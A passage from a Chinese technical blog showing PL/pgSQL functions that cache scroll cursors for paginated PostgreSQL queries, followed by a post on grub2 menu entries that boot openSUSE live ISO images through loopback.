  cname text := 'p' || md5(query);
  need_update boolean := false;
BEGIN
  PERFORM name FROM pg_cursors WHERE name = cname;
  IF NOT FOUND THEN
    EXECUTE format('DECLARE %I SCROLL CURSOR WITH HOLD FOR ', cname) || query;
    RAISE NOTICE 'new cursor % created', cname;
    BEGIN
      EXECUTE format('INSERT INTO %I (name) VALUES (%L)', tname, cname);
    EXCEPTION
      WHEN unique_violation THEN
        need_update := true;
    END;
  ELSE
    need_update := true;
  END IF;

  IF need_update THEN
    EXECUTE format('UPDATE %I SET last_used = current_timestamp WHERE name = %L',
      tname, cname);
  END IF;

  EXECUTE format('MOVE ABSOLUTE ' || off || ' FROM %I', cname);
  RETURN QUERY EXECUTE format('FETCH ' || size || ' FROM %I', cname);
END;
$$ LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION cleanupCursors(tname text, timeout real) RETURNS integer AS $$
DECLARE
  c record;
  i integer := 0;
BEGIN
  FOR c IN
    EXECUTE format($f$
      SELECT name FROM %I
      WHERE extract('epoch' from current_timestamp - last_used) > %L
    $f$, tname, timeout)
  LOOP
    PERFORM name FROM pg_cursors WHERE name = c.name;
    IF FOUND THEN
      RAISE NOTICE 'closing cursor %', c.name;
      EXECUTE format('CLOSE %I', c.name);
    END IF;
    RAISE NOTICE 'clean up record for cursor %', c.name;
    EXECUTE format($f$ DELETE FROM %I WHERE name = %L$f$, tname, c.name);
    i := i + 1;
  END LOOP;

  FOR c IN
    EXECUTE format($f$
      SELECT name FROM pg_cursors WHERE name NOT IN (
        SELECT name FROM %I
      ) AND length(name) = 33 AND substring(name for 1) = 'p'
    $f$, tname)
  LOOP
    RAISE NOTICE 'closing cursor % not present in table %', c.name, tname;
    EXECUTE format('CLOSE %I', c.name);
    i := i + 1;
  END LOOP;

  RETURN i;
END;
$$ LANGUAGE plpgsql;

使用时需要经常去调用下cleanupCursors函数。

PostgreSQL 函数还有这么一个特性,当函数返回setof record时,PostgreSQL 不知道怎么解读那些 record。所以用fetchFromCursor函数时得明确指定获取结果的行类型:

select * from fetchFromCursor('cursors', $$select name from users where name like 'a%' order by last_login_time$$, 0, 10) as f(name text);

有点麻烦。

Category: 数据存储 | Tags: PostgreSQL
7
10
2013
4

grub2 引导 openSUSE 安装镜像

想安装 openSUSE 12.2,但是目标机器没有光驱,亦没有可用的能够容纳下 DVD 镜像的 U 盘。尝试 dd 镜像到 U 盘,报告找不到光驱还是什么的,启动失败,自动重启。 官方 Wiki 上 http://en.opensuse.org/Installation_without_CD 这个页面已经被删除。其它页面只有如何将 ISO 镜像弄到 U 盘上的说明,没有说明如何正确启动之。grub2 带内核参数install=hd:$isofile失败。这个据说只对 DVD 镜像有效。

最终,像很早之前那样阅读init脚本后,终于得出正确的启动方法:

menuentry "openSUSE 12.2 KDE LiveCD x86_64" {
    set isofile="/images/openSUSE-12.2-KDE-LiveCD-x86_64.iso"
    echo "Setup loop device..."
    loopback loop $isofile
    echo "Loading kernel..."
    linux (loop)/boot/x86_64/loader/linux isofrom=/dev/disk/by-label/4lin:$isofile
    echo "Loading initrd..."
    initrd (loop)/boot/x86_64/loader/initrd
}

其中,isofrom指定 ISO 文件所在的设备和路径,以冒号分隔。如果没有写对的话,将得到Failed to find MBR identifier !错误。

2013年12月22日更新:对于 openSUSE 13.1,其引导命令应该这么写:

menuentry "openSUSE 13.1 KDE Live x86_64 (zh_CN)" {
	set isofile="/images/openSUSE-13.1-KDE-Live-x86_64.iso"
	echo "Setup loop device..."
	loopback loop $isofile
	echo "Loading kernel..."
	linux (loop)/boot/x86_64/loader/linux isofrom_device=/dev/disk/by-label/4lin isofrom_system=$isofile LANG=zh_CN.UTF-8
	echo "Loading initrd..."
	initrd (loop)/boot/x86_64/loader/initrd
}
Category: Linux | Tags: linux grub grub2

Mastodon | Theme: Aeros 2.0 by TheBuckmaker.com